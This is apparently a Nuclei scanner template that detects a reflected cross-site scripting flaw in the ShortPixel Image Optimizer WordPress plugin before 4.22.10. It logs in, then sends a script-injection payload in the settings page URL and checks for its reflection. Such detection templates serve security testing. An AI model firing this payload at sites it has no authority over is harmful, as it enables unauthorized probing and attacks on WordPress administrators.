id: shortpixel-image-optimizer-xss

info:
  name: ShortPixel Image Optimizer < 4.22.10 - Reflected Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: The plugin does not escape a generated URLs before outputting them back in an attribute, leading to Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/8a0ddd14-7260-4fb6-bb87-2916aa41ff01
    - https://wordpress.org/plugins/shortpixel-image-optimiser
  metadata:
    verified: true
  tags: xss,wp-plugin,wp,wordpress,shortpixel,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=wp-shortpixel-settings&"><script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '&\"><script>alert(1)</script>&noheader=true&sp-action'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200